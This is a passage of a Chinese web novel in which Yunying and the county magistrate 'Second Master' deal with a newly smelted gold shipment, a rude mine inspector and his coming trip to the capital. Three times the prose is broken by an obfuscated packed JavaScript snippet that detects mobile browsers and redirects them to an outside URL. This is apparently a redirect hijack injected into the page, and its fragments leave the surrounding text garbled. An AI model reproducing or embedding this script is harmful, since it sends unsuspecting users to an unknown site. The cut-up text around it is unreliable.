二爷终究是松开了她的手,“我知道是你。” 知道是我您还攥着我不放? 心中转过这句话,云莺却没说出来。她看着二爷,二爷则皱眉看着身上的锦被,“我方才睡着了。” 云莺轻笑,“我知道……那还用我给你剃胡子么?还是说,等早起醒了你自己来弄?” “你来剃吧,我懒得动。” 云莺倒是没想到,二爷还能说出这么懒散的话。不过仔细想想,这样才是她认识的那个二爷么。 云莺便又费力的将锦被抱开,让二爷微微坐起身,她则凑近了,比划着如何下手。 二爷不动如山,好似要凑到眼皮子上的刀子不存在似的。 他很坐得住,反倒是云莺,有些无从下手了。 总感觉不管从哪个角度下手,都有可能让二爷这张棱角分明的面孔上见到血。况且,凑这么近,连彼此眼皮上的睫毛有多少根都数得清,对方的呼吸更是近在咫尺。这个距离,太近了。 云莺打起了退堂鼓,“二爷,要不你自己来?” 二爷看着她,似乎看出来了她的难为情,但他这次没纵容她,只是喑哑着嗓子,再一次重复说,“太困了,不想动。” 云莺一手拿着刀,一手轻轻的按着二爷的面颊,一点点的用力。 黑色的胡茬被刮下来了,露出微微泛青的皮肤。 云莺手很稳,又很抖。 终于,她忍不住停下手来,看着二爷说,“您闭上眼,别看我。不然,把您脸刮坏了,您可别哭。” 二爷笑的胸膛起伏,却到底是顺了她的意,不再那么如狼似虎的盯着她看。 第136章 缺钱 翌日一早,云莺还在酣睡着,陡然听见院子里传来轻微的开门关门声。 她没在意,翻个身又睡了。可睡着睡着,脑子突然一激灵,云莺赶紧坐起身穿衣服。 已经起身的穗儿和柳儿听到动静,赶紧走进来,问云莺,“姑娘,您才睡了一个时辰,这就要起了么?” 云莺顾不上回答她们的话,只问两人,“二爷已经出发了么?” “是啊,刚走没多久。二爷交代我们,说您昨晚休息的晚,让我们今天别喊您起床。” 云莺听到二爷已经走了,动作顿了下来。 片刻后,她重新倒回床上,冲穗儿和柳儿摆摆手,“你们俩出去吧,我再睡一会。” 云莺这一睡,直接睡到了午膳时候。 今天她的食欲倒是回来了,午膳用了一小碗米饭。接下来几天,云莺的食欲也都不错。不仅是食欲,她心情更好一些,每天都眉眼盈盈的,让人看着就心情愉快。 眨眼间就进了腊月。 今年云归县当真是个暖冬,也就二爷回来那几天冷了一下,之后天气回升,又到了可以穿单衣的程度。 这样的天气云莺是很适应的,她只是依旧不能适应县衙中到处乱跑的蟑螂和蚊子。 蟑螂张那么大个,云莺是真有些怕,还有蚊子,都腊月了身上还要带着驱蚊的香囊,一不留神还要被蚊子咬,云莺也是很郁闷。 这不,就因为前一天疏忽,云莺手上直接被咬出两个包来。那包又红又肿,还特别痒。偏还不敢狠狠挠,就怕挠烂了后续会留疤。 云莺就拼命涂药膏,好在药膏还是有用的,用了一会儿后,那种揪心扯肺的痒感总算是褪去了。 云莺心有余悸说,“都腊月了,蚊子还这么猖狂,这云归县,我真是有点待不下去。” “其实也还好吧。”穗儿说,“可能是屋里边暖和,蚊子才多。譬如我家那边,在山里头,现在气温会更低一些,蚊子虽有,但没这么厉害。对了,二爷之前不是说,让姑娘闲来无事可以去屋头山转转。屋头山就在山里头,蚊子会更少,姑娘你像不像过去一趟?” 云莺闻言,心中一动。 算算时间,二爷走了多半个月了,她倒确实挺想二爷的。 但是,往屋头山走一趟去寻二爷么? 云莺想了想,到底是摇摇头,“算了,二爷忙得是正事儿,我还是不过去添乱了。” 穗儿想说,怕给二爷添乱,过去看一眼就走。若是时间上来不及,还可以在她家住一晚…… 但穗儿又陡然想起,老家中的人现在对姑娘是如何信奉、如何狂热,就赶紧打消了这不靠谱的主意。 可别再把姑娘吓着了。 虽说云莺决定不去屋头山,但想到二爷在山中这么长时间了,云莺也着手张罗了一些衣衫鞋袜,并一些二爷喜欢的吃食,当天下午就让人跑一趟送过去。 熟料这东西才送走,翌日中午,二爷竟是回了府。 云莺当时刚用过午膳,正百无聊赖的躺在美人榻上看账本,听人说二爷回来了,她还不相信。可随后她就听到有熟悉的脚步声越来越靠近厢房,云莺当即站起身,往外走去。 云莺快手掀开了帘子,二爷的面容陡然出现在帘子外。他修长匀称的手微微抬起,做出一个掀帘子的动作,可这帘子最终却落到了云莺手中。 云莺当即笑起来,“您不是说,要等这一批金矿挖好运出后再回来,难道第一批金矿已经运出来了么?” 云莺走出去,二爷一边侧身给她让地方,一边边笑着看她一身家常衣衫、面色白里透红、喜悦带笑。 看出来了,他不在府里这段日子,她养得不错。 二爷心里又是满意,又是空虚。 二爷说,“第一批金矿运出来了,我就是随着运矿车一道过来的。” “那您之后还回去么?您会在县衙待几天?” 二爷:“短时间内先不回去了,那边有随云看着,出不了大事儿。” “那金矿呢,需要您亲自运去府城么?” “不用,章知府早已经派了人来接洽。” 云莺与二爷说着话,一道到了花厅中。 二爷是跟车回来的,还没来得及用午膳。云莺安排小丫鬟们去准备膳食,一边和二爷说起金矿的事情。 从二爷口中,云莺得知,第一批的金矿二爷截取下来一部分,准备自己找人炼化。 不准备把这些金矿都送到府城,也是考量到章知府手中实在紧缺银两——虽然之前早就说好,金矿的十分之三会归属于云归县。但章知府现在被催债似的弄得满头包,金矿若一股脑送过去,很大可能这批金矿肉包子打狗,有去无回。 二爷理解章知府的无奈,毕竟为人父母,在有能力的情况下,对过的最不好的孩子,总是要偏疼几分。 若换做他在章知府那个位置,他也会将这一批金矿全部吞没,等之后有余力时,再将该给与云归县的补回来。 但章知府那里急用钱,二爷这里何尝不是? 云莺听完二爷的安排,就点点头,“您说的有道理。”换她是二爷,她也得截取下来一些。她的摊子不算小,也 很需要银钱的。 “可惜即便截取下来,云归县能找到会冶炼金矿的师傅么?” 二爷颔首,“能,且已经找到了。现如今要做的,就是做好防护准备。金矿的事情瞒不了太久,就怕有心人会打上金矿的主意。”更甚者是直接打上,他将要炼化的这批金矿的主意。 鉴于此,二爷虽回来了云归县,但还不能歇着。他得亲自盯着这一批金矿的炼化,还要尽最快可能,将这些金子换成碎银分发出去。 矿上日子艰苦,甚至到了难以为继的地步。州府发不下银子来,如今只能寄望于用这批金矿短暂的倒倒手。 云莺听明白了二爷的意思,也明白,二爷过些时日怕是依旧不得闲。至于二爷何时得闲,怕是要等云归县富裕起来,二爷才能真正的闲下来。 果真,二爷只在府里用了一顿午膳,下午就又忙碌去了。 也就在二爷离府不久,京城快马加鞭送来一封书信。 这书信是给二爷的,云莺自然不会拆开来看,也好在云莺知道二爷去的地方,她当即就乘车,亲自外出将这封信递到了二爷手上。 云莺原本以为,能让差役加急送来的信件,肯定攸关重大。她还为此惴惴不安,生恐发生了什么意外之事,影响了如今大好的局面。 也因此,二爷看信时,云莺一直提着心,手中的帕子也被她揉搓的皱成了一团。 好不容易二爷将信件读完,二爷看看跟前眼睛都不眨一下盯着他的云莺,忍不住笑着出声说,“被担心,不是什么大事。” 不等云莺追问,二爷就解释说,“再过几天,是我父亲五十大寿,母亲来信问我可要回去为父亲祝寿。” 云莺蹙蹙眉头,“那您要回去么?” “不回。”二爷将信件叠起来,放回信封中,“我是外派官员,无诏不得回京。” “可夫人既然提及,想必是有办法让您回京的吧……” 二爷:“回去做什么呢?单纯只是给父亲祝个寿么?父亲膝下子女俱全,少我一个也不差什么。” “可是……”荣国公五十大寿,应该会很隆重吧。他作为嫡次子,不回去真的好么? 二爷将信件塞到云莺手里,“没有什么可是,父亲身强体健,是长寿之兆。我不能给他祝五十大寿,想来六十、七十、八十大寿还是能给他祝的。父亲也不是儿女情长之人,我身负皇命,在外当差,父亲不会说什么。我稍后会写信回去说明此事,想来不管父亲母亲都会谅解。行了,你把信拿回去给我收进书房里,你也赶紧回府去吧。眼瞅着天就黑了,你身体弱,小心再受凉。” 二爷话落音,已经手动抱住云莺一把纤腰,微一用力就将她放到了车辕上。 这不是大街上,往来倒是没有什么人看到二爷的动作。可她长了腿,她也不是不能上马车。云莺微恼,侧身过来嗔他一眼。 二爷爽朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知道今天又是那个百姓来告状,状告的又是什么事情? 云莺一边给二爷做寝衣,一边想让穗儿他们去打听打听,外边究竟出了什么 事儿。 熟料,这话还没说出口,倒是有小丫鬟从外边直接跑进来。 “姑娘,姑娘您快出去看看。外边来了个大人,说是要找二爷。他一个劲儿往里边闯,守门的人拦都拦不住。” 云莺放下手中的针线簸箕,“你们难道没告诉他,二爷不在府里?” “我们肯定告诉了,但是那位大人不肯相信。还说肯定是二爷做了心虚的事情,怕见他,说二爷是躲起来了。” 云莺一听,气笑了。还躲起来了?真不知道来人是谁,怎么那么自信? 在这云归县的地盘,二爷还需要躲人,他躲谁? 云莺站起身说,“我跟你出去看看。” 这么说着,云莺带着丫鬟走出门去。 结果,才刚走到廊下,就见大门猛地被人撞开。 云莺现在住在二爷的院子,这院子在前院。因为院中住了女眷的缘故,二爷担心有人冲撞了云莺,平时院门都是掩着的。 也因为这段时间,院子多数时间是云莺自己住着,二爷便调开了早先守院子的侍卫,让云莺找了两个五大三粗的婆子在外边守着。 如今,婆子们死死拦在被撞开的大门前,拦住要往里边闯的一个男子。 那男子身量清瘦,身高颀长,因为背对着云莺而战,云莺看不清他的容貌。只听那男人文绉绉的说着官话,将二爷骂的狗血淋头。 “亏他才陈宴洲在云归县颇负盛名,为人人称赞的父母官,却原来是个只会暗地里算计人的无耻小人。陈宴洲不在府里?呵,休得骗我,他不在府里又在哪里?陈宴洲,你若不是缩头乌龟,就快快出来与我对峙。弄了两个婆子拦在门前作甚,敢做不敢当,你愧为正人君子!” 第137章 这一年 “若县令大人秉公办事,要被人说愧为正人君子,你这不经通报硬闯进别人家院子,还大肆打骂仆人的恶劣行径,你岂不是成了市井无赖一样的不逞之徒?” “谁是不逞之徒?” 暴怒的张梅龄停止了挣扎的动作,顺着声音看过来。 结果就见不远处正站在一位,穿着鹅黄色绣草绿色如意纹小袄,面染薄霜,眸光清冷,霞姿月韵,昳丽清绝的女子。 张梅龄动作当即一顿,浓眉微微蹙起。“你又是何人?” 话落音,他似乎又想到了那些被他打听来的闲言碎语,再看眼前这女子如此姿容瑰丽,那绝不做第二人想。 张梅龄拧紧了眉头说,“你是陈宴洲的妾室?” “大人还说自己不是不逞之徒?你不觉得自己如此寻根究底,太失礼仪体统了么?这是我的院子,还请这位大人移步。您是外男,我不方便接待,还请速速离去。” 张梅龄眉头拧的更紧了。 他想说这怎么会是你的院子? 这是前院,是外院,就在整个宅子的中轴线上!不管从哪里说,这也只是当家男人才能住的院子。你住在这里…… 那也不是不可能。 毕竟这位云莺姑娘据说挺受陈宴洲的宠爱,据说她还管着县衙后宅所有大小事情,在云归县也有些名声。 再看她如此姿容模样,陈宴洲昏了头将她带到前院一起居住,也不是什么不可能的事儿。 不过,由此也更说明,陈宴洲这个青天大老爷的名号还太虚,他沉迷女色昏了头脑才更实在一些。 张梅龄念及此,冷哼一声,甩着袖子就走了。 看见这人如此无礼傲慢嚣张,穗儿几人都气坏了。 “这还是位大人了,呸,那位大人会这么不成样子。” “那还真有。”云莺说,“这位大人就是刚上任的矿监。” “他还矿监!他……” 穗儿几人转过头来,“姑娘您说什么,这就是府城派过来的矿监?知府大人怎么想的,怎么会派来这么一位冲动莽撞的大人来做矿监?” “那我怎么知道,许是这位大人有几分装模作样的本事,把知府大人唬住了,才把这矿监的肥差给了他。” “知府大人真是……”瞎了眼了。 丫鬟们气愤填膺,云莺也气的不行。 她还是第一次见这么傲慢无礼的人。 贸贸然就打上了别人家的家门,这也就是她身份低微,出不了这个头,不然,她刚才就不是冷声冷语挤兑他了,她高低得骂他几句。 如今云莺还是很气,她就回房写了一封简短的书信,让人将这书信快些送去给二爷。 张梅龄阴了二爷一把,导致二爷不得不吐口吸纳别的县城的百姓来做苦力,二爷回报给张梅龄的,是让人将他摁死在矿洞里。 如今张梅龄跑出来了,很有可能是张梅龄识破了二爷的算计。 不过,他能逃过随云的耳目,也算本事了。 云莺得赶紧将这件事告知二爷,她怕张梅龄如此没脑子,再将金矿的事情说漏嘴,亦或是他贸贸然找上冶炼金矿的地方,再引起那些宵小流氓的注意。 云莺写完了信,让人抓紧送到二爷手里。 也就半个时辰左右,二爷回了信过来,让他不要忧心此事,他已经将张梅龄捏在了手里。二爷还说,知道她受了委屈,会为她讨回来。 云莺见状,提着的心放了下来。 又五天,二爷神情昂扬振奋的回了县衙。 他手中托着一个匣子。那匣子不大,初看也很不起眼,就是一个普通的酸枝木匣子。匣子上边没有花纹也没有雕刻,就是此地女子出嫁,家人惯常陪嫁的匣子。 只是比那匣子要小上许多,也就一个小杌子大小。 云莺可不敢忽视这匣子。 她看到二爷的表情,再看看这匣子,一颗心就飞快的跳动起来。 云莺凑近了二爷,问他,“成了么?” 二爷眸中含着璀璨的光,“你过来看。” 两人在圆桌旁坐下,二爷将匣子放在桌面上,将匣子盖掀开来。 顿时,一股青黄色的光反射出来,亮橙橙的青黄,在阳光的照耀下,甚至有些刺眼。 云莺先是欣喜若狂,但很快,她又发现了不对劲。 她拿起一小块金砖,“这金子的色泽……” “你发现了啊。”二爷也拿起一块金砖,放在太阳下看。如此一看,更分明了。这金砖整体呈青黄色,青色和黄色冗杂在一起,平分秋色。 云莺心中惴惴,“这也不是假的啊。” “假肯定不假,不过是冶炼技术不到家,里边掺的杂志有些多。” 接下来,二爷与云莺说了说世面上的黄金。 现存的黄金,最好的是九五金。这样的金多储存在大库中,现实中用于流通的很少。 现在市面上用的黄金,大多是八五金。 这时候流传一句话,叫七青、八黄、九紫、十赤。 什么意思呢,就是说,你看这块黄金呈青黄色,那这块黄金中的含金量,就在百分之七十到百分之七十五;金子若呈现正黄色, 含金量在百分之八十到八十五,以此类推。 现在人们就是凭借黄金的颜色,来判断一块金子的含金量。 而二爷拿来的金砖,整体都呈青黄色,由此,里边的含金量只在百分之七十到七十五。 这远低于世面上流行的黄金的含金量,但也是没办法,毕竟技术在哪儿,能弄出青黄色的黄金,已经是二爷想了很多办法了。 “之后肯定还能改进,只是如今等着这些黄金应急,却顾不得那许多了。不过,虽含金量低一些,却不妨碍使用。有了这一匣子金砖,许多问题都能迎刃而解。” 二爷当真等着用钱,与云莺分享过喜悦。并说张梅龄已经被章知府撤销了矿监的职务,以后再不会回来云归县后,就拿着这一匣子金砖去了县衙。 县衙中,刘颂云与楼永淳看到这匣子金子时的兴奋自不必说,只说有了金子,二爷行事就方便许多。 二爷先是让人将金砖换成了银子与铜板,继而,将县衙拖欠的旷工的工钱,都给结清了;又花重金请来精与冶炼的师傅,请来会铸造农用爬犁的工匠;二爷还买来了修路需要的大量砂石与木料,立志在下一年早稻播种时,将云归县的道路全部修通;又分拨了一笔银子给卢先生,让他再买些珠贝来养,以补充在飓风中损失的大批珍珠贝…… 零零碎碎,杂七杂八,反正那一匣子金子在二爷手中都没暖热乎,就很快花干净了。 云莺看着二爷记账的册子,一边翻一边叹气。 其实每一项花费都不算大,但耐不住需要花钱的地方多。别说一匣子金子了,就是再来一匣子,感觉都不够二爷使唤的。 云莺再再一次叹气,“什么时候能不缺钱啊。” “不缺钱?就依云归县这底子,三两年内,百姓家能有余粮就不错了。至于不缺钱,哪里会不缺钱呢?你今天解决了温饱问题,,明天你就想换新的家伙什,后天你想盖新房子,想每天大鱼大肉。只要人的欲望一天没有停下来,他们就会一直处在缺钱中。” 云莺听了听,觉得二爷说的话在理。但是,关于换新家伙什、盖新房子、想要大鱼大肉,那都是解决了温饱后,百姓对于幸福生活的深度追求。如今想这些都想早了,如今该想的,还得是如何让百姓解决温饱……可别一直惦记着金矿了。金矿上的金子也不可能白发给百姓。百姓们也是要做工,也是要劳动,才能有收入了。可县衙也不可能一直给百姓提供做工的机会,毕竟路总有修完的一天,房子也总有盖完的一天。百姓们想致富,关键还是得靠他们自己。 云莺发愁,反观二爷,却一副镇定如山的模样。 二爷说,“你这些天没出去,没听到外边人都是怎么说的。” 云莺:“说什么?谁说的?” 二爷:“那些前来云归县做工的,其余县城的青壮灾民。他们说,云归县的梯田很好,他们准备做完工,挣些银钱,回头也买了梯田来经营。” 云莺一下子挺直了腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752177|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“真的?” 二爷含笑应一声,“真的。” “可是,造梯田挣不下多少粮食啊。” “一步步来吧,总不能一口吃个胖子。百姓们能接受梯田,就能接受更多新事物。只要他们不迂腐,总能赚到钱。” 两人又说起云归县补种的那批生姜。 二爷没亲自去看,只听雷霆说,如今那些生姜长势很好。雷霆已经带着两个收购生姜的商人,与种植了生姜的百姓们签订了协议,甚至那两个商人还给与了一部分定金。 实打实的银子给到手里,百姓们的震惊激动不必言说。如今老百姓可宝贝那些生姜了,担心有那眼红的来毁坏大家的心血,百姓们夜里还安排了人值守。 说起这件事,二爷与云莺道,“若是这次的生姜能给百姓带来大笔收益,指不定下一年会有更多的人,专门种植生姜。” “也未必吧。” 二爷:“怎么说?” 云莺:“老百姓到底是守旧的,今年是走投无路了,不种生姜那地闲着也是闲着,他们才会冒险种了一茬生姜。可来年生姜的价格如何,却没人能控制,更不知晓,那客商还会不会按时来收。若有人来预定,那自然最好不过,可若没有,百姓八成不会冒这个风险。” 毕竟,拿到手里的粮食,才是最稳妥的。粮食不管是留着自家人吃,还是缺钱了卖出去——粮食总能卖出去,生姜就不一定了。那玩意儿又不能当饭吃,真若砸在手里,百姓哭都没地方哭去。 不过若是那有魄力的人,指不定还会继续种,且还会扩大经营,但这都是说不准的事情。 再有,若是种生姜的人多了,粮食收成就没办法保证了。且自古以来,都是物以稀为贵,生姜多了,价格指定会下降。种生姜的收益,指不定还没种粮食大。 云莺与二爷说着这些事情,两人都很发愁。 不过二爷也说了会仔细考虑,再给百姓们建议。至于百姓听不听,那全看自己。毕竟,牛不喝水,你也不能强按着牛喝啊。 腊月里,时间过的特别快,似乎只是一眨眼间,就到了小年。 这一年的小年,二爷没有再办百叟宴。 不是办不起,实在是没时间。 年前二爷又去了一趟府城。 这次是有正儿八经的事儿。 章知府要对下属的这些县令们进行考核。考核总共分三级九等,所要考核的事情也很杂碎,包括操守、才干、政务、年龄等。 在这所有考核中,二爷毫无疑问都拿了上上。 当然,二爷上一年的考核也是上上。 连续两年都得了这么高的评分,二爷自然招来许多人的眼红。 不少官员私下里嘀咕,排揎二爷不愧是京城来的世家公子。 这话的潜意识,就是说知府大人纯属看在荣国公的面子上,才给二爷这么高的评分。 可实际上,究竟如何众人心知肚明。 二爷上一年得了“上上”,是逮捕了范县丞等贩卖私盐的团伙。这事情足够轰动和重大,加上二爷赴任云归县后,确实作为很大,得此高评意料之中。 今年就更不用说了,至今为止,云归县开荒总计五千余亩,梯田四百余座,他还发现了金矿,秉公处置了许多积冗案件。 桩桩件件,哪一样说出来都可圈可点,不给他上上都说不过去。 再说一句知府大人的这个考评,与吏部的考核还是有区别的。但知府大人的考评,也会被吏部专司此事的官员作为一个参考。言而总之一句话,这个考核,关系着一个官员的升迁调任。 二爷连续两年得此高评,不出意外,等三年届满,他是注定要升迁。 如此年轻,如此有作为,如此看不到头的前程,这如何不让那些腐朽的一只腿都迈到了棺材里,却只能踟躇在原地不能前进一步的官员们嫉妒愤恨? 可他们嫉妒如何,愤恨如何,他们的嫉妒愤恨又伤不到二爷一根毫毛。 甚至二爷一个眼神过来,他们便转换成一副为他欣喜的谄媚奉承样,如此小人,理会他作甚? 第138章 回京述职 时间似乎很快,又似乎很慢,只是一眨眼间,这一年就过去了。 新的一年到来,二爷从年头就开始忙。 这一年,也当真是丰收的一年。 从年初开始,道路就修到了田间地头。修路给百姓家带来了许多收益,百姓们每家每户都多了许多粮食,百姓们的面色肉眼可见的好看起来。 二月份,云归县补充的生姜大卖,百姓们多了一笔进账,日子陡然见好。 三月份,干货坊又发走一批干货。包括但不仅限于各种海货、山货、花卉、炮制好的药材等,这些东西运到江南,换来好丰厚的一笔银子 四到七月,各种瓜果开始成熟。县衙安排好青壮组成车队,将晒成了干,亦或是被冰冻着的瓜果,连夜快马运到繁华的府城。如此,报酬丰厚。 同样是七月,早稻开始收割。 因为这一年,县衙给百姓分发了更多的耕牛和农具,上半年来的的开荒数目,比之前年一整年还要多。加之百姓跟风又造了几百座梯田,又因为老天爷保佑,今年光照和降水充足,早稻迎来了大丰收。单是上半年的收成,就快要超过二爷来云归县赴任那年一整年的收成。 整个云归县的道路,是在八月修好的。 到了九月份,县衙中终于有了盈余,二爷可以放开手脚,尝试些别的让百姓增收的项目。 同样是九月,云归县筹备了许久的官学,开始对外招生。不拘男女,只要年满七岁,就可以来官学中就读。县衙免费给学生提供一餐饭食,空闲时候,只需要学生帮忙誊抄书籍。 官学的设立,自然吸引来多有百姓的关注。许多家长抱着有便宜不占王八蛋的想法,将孩子送了进来。另外一些,则是看的长远,希望自己孩子读书上进,将来有所作为。 不管如何,官学总算是立起来了,虽然报名的学生中仅有十余个小姑娘,其余全都是些男丁。但只要有姑娘家站出来,就会有更多的姑娘参与到这件事情中去。 十月份时,二爷参照《河渠书》中的经验,又雇佣一些被贬谪来云归县的流放官员,主持修建的兴通渠终于竣工。 兴通渠贯穿云归县全境。从云归县最西边的大兴镇,到云归县最东的云通镇,从云归县最北端,到云归县最南端,这条兴通渠跨越云归县全境,分三个阶段修成。 兴通渠完工后,能保证在枯水期时,云归县境内所有农田的灌溉。丰水期时,多余的水又会通过宝瓶口向外江排去,减免云归县地区的内涝和洪灾。 这个自动分流的伟大设计,是二爷吸收前人经验,加之自己的百般思虑,才最终成型。 云莺之前没仔细了解过兴通渠,等她得知兴通渠的修造理念后,呜呜呜,云莺只想说,聪明人,连脚指甲盖都是聪明的。 只是自学,二爷就学到了伟大的水利工程专家李冰大人的三份本事。这若是二爷专注于水利一道,大夏未尝不会出现另一个能媲美都江堰的伟大水利工程。 十一月,后塘村的卢先生与王河同时给二爷送来来信,让二爷最近几日一定要拨冗去一趟后塘村,人工养珠的事情有进展了。 虽说只是个别珍珠蚌中出现了珍珠,那些珍珠也非常非常小,都没比米粒大多少。但那小小的、圆圆的东西,确实是珍珠无异。 这最起码证明,他们的人工养珠是完全可行的。 二爷带了云莺一起去了后塘村,当时王河捧着打开的珍珠蚌,一边高兴的痛哭流涕,一边心疼的嗷嗷呜呜。 云莺见状,一边觉得好笑,一边也忍不住唏嘘。 二爷只适合投注了一笔银子,之后就很少过问养珠的事情。反倒是卢先生与王河,把全幅的精神都投注到这片水域中去。 上年飓风时,为防飓风把装在笼子中的珍珠蚌吹走了,两人冒着生命危险一直守在这附近,一看到有笼子被抛出来,就赶紧跑过去将笼子再丢到水里去。 这一年半来,他们更是还要面对着家人与村中人,不解以及嘲笑的目光。 可如今,那小小的米粒大小的珍珠,证明他们不是异想天开,他们的投入都是有回报的。 珍珠被人工养出来这件事,到底是再前塘村和后塘村酿成了轩然大波。 好在有二爷压制,这件事情到底没传的更远,被紧紧的摁在了云归县治下。 但不得不说,有了这件好事,二爷的心情畅快极了,回了府里就拉着云莺一道喝了两杯酒。 云莺的酒量比上一年略有些长进,如今她多少能陪二爷喝两杯。再多的就不行了,就会醉。 不过因为喝了酒以后,又喝了两杯果子露,云莺依旧没逃过醉酒这件事。她喝完后直接趴在了桌子上,一觉睡到了第二天上午。 等云莺醒过来,依旧有些头昏脑涨。 她简单喝了一碗燕窝粥,就躺在窗下的美人榻上休息。 二爷掀开帘子走进屋里时,云莺是知道的,但她没睁开眼,她还很困。 还是二爷的手放在她额头上,冰冰凉凉的,云莺才被冻得瑟缩一下,赶紧将眼睛睁开来。 她嗔一眼二爷,“你故意的。” 二爷飒然一笑,丝毫没反驳,只勾 着唇角看着云莺说,“别躺了,越躺头越疼。起来随我去外边走一走,许是散散心就好了。” “这和散心有什么关系?” 话是这样说,云莺却也没推辞,她拉住二爷伸过来的手,顺着他的力道坐起身,随二爷一道出了门。 进了十一月,空气中多了几许凉意。 云莺一早一晚要穿上褙子或夹袄,反观二爷,他火力大,至今仍旧穿着单衣。 二爷与云莺说起,过几天就要出发,要回一趟京城。 这件事云莺早就知道,毕竟外放官员每三年都要回京述职。算一算二爷出京到现在,这正好是第三年。 只是过几天就回京,那年前指定是不是回不来了。想到今年要自己一个人过年,云莺心中不免郁郁。 云莺有些闷闷不乐,二爷见状就笑说,“不如你跟我回去?这一年你也学会了骑马,且骑的很不错……不好,南方还暖和些,你骑马就算了,北方如今却入了冬,不少地方还下了雪,你若是跟着骑马进京,怕是要冻坏了。” 云莺方才还鼓动的一颗心,此时凉了半截。 她可太知道北方的冬天有多冷了。 毕竟她从小生活在京城。 入了冬的京城,晚上不烧碳她都熬不住。更何况是要每天顶着风雪赶路了。就她这一身细皮嫩肉,还有她这单薄的身子,怕是走不到京城,就得冻病在半路上。 二爷拧着眉头,“你还是留在县衙吧……可就把你自己留在这里,我又不放心。” 云莺叹着气说,“有什么不放心的,我都在这儿住两年多了,都习惯了。再说我身边还有人伺候,若真碰上事儿,我还可以去前边找刘县丞与楼主簿。” “我还是有些不放心。” “不放心我,难道你就能不去京城了?行了,别说这些了,趁这几天你还没走,我再给你准备点东西,到时候你到了京城,见了人也好走礼。” 二爷摆手说,“我骑马回京,运东西的马车肯定跟不上。你稍后让人把东西送去即可,别太麻烦了。” “怎么能不麻烦呢,这次你回去,指定要见许多人……” 云莺与二爷又说了许多东西,两人声音都不高,轻言低语,以至于站在他们远处的丫鬟根本不知道两人说了什么。 只是看两位主子说着说着,神色就凝重起来,也不知道他们是不是闹矛盾了。 按说不应该啊,姑娘和二爷现在好的跟一个人似的。除了没住在一起,两人跟别的那些鹣鲽情深的小夫妻一个样。加上二爷往常与姑娘说话都不带大声的,又是发生了何种矛盾,让两人都皱起了脸? 穗儿和柳儿很快就知道姑娘愁眉苦脸的原因了:二爷要回京述职了! 两个丫鬟想起二爷在京城还有一位原配夫人,那位还是与荣国公府门当户对的世家千金! 这若是回了京,二爷被那位夫人笼络住,他们姑娘该何去何从? 姑娘至今都没与二爷圆房呢! 穗儿和柳儿愁了一晚上,她们想怂恿云莺跟二爷一道回京去!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风迷了眼,却没解释什么。 二爷不知道是信了还是没信,总归二爷没继续追究。可等到晚上,二爷特地带她去了清月湖。 大冬天来清月湖,即便此时天地之间一片静寂,周边的凄清自有一番美色,可她一会儿就就被冻得鼻涕都要跑出来了,也是忍不住踹了二爷一脚,骂他一句,“你有病吧。” 二爷哈哈大笑着抱着她,先是游了一圈湖,又是跑了半圈马。 反正折腾来折腾去,硬是吧云莺的郁气折腾没了。 回府的途中,二爷将云莺抱在身前,还一个劲儿的安慰着,“我年后就回来,不会让你等太久。你若在府里待得不耐烦了,可去寻秋宁玩,再不济让穗儿带你去西王母娘娘村转转……” 二爷单纯的以为,云莺是不舍得和她分开这么久。他又何尝想与她分别这么长时间?上一年去府城,与她作别时日,他就好像渡过了几十个春秋。若有办法,他自然想带她一起回京,可天太冷了,越往北越冷。 二爷最终劝服了云莺,云莺不想二爷担心,也没有说出她真正的伤心。她闷闷的应下来,说会照顾好自己,让二爷放心离去。 二爷不说话,只将下颌放在她头顶,紧紧的搂抱住她。 时间很快就到了二爷出发的日子。 这一天,天气阴沉沉的,风也很凉。 云莺送二爷到县衙门口,目送着二爷离去。 大上午的天,如同夕阳西下的时候一般阴沉,沉重的像是有乌云压顶,让人喘不过气来。 直到二爷一行人彻底消失在远方,穗儿才扯着云莺的袖子,喊她,“姑娘,太冷了,咱们回去吧。” “……好。” 云莺转过身,往回走。 却也在此刻,街角又有一连串的马蹄声朝这边狂奔过来。 烈风下的二爷,清俊的面孔上是纯粹绚烂的笑意,他一俯身将云莺捞到身前去。 “我后悔了,你还是跟我一道进京吧!”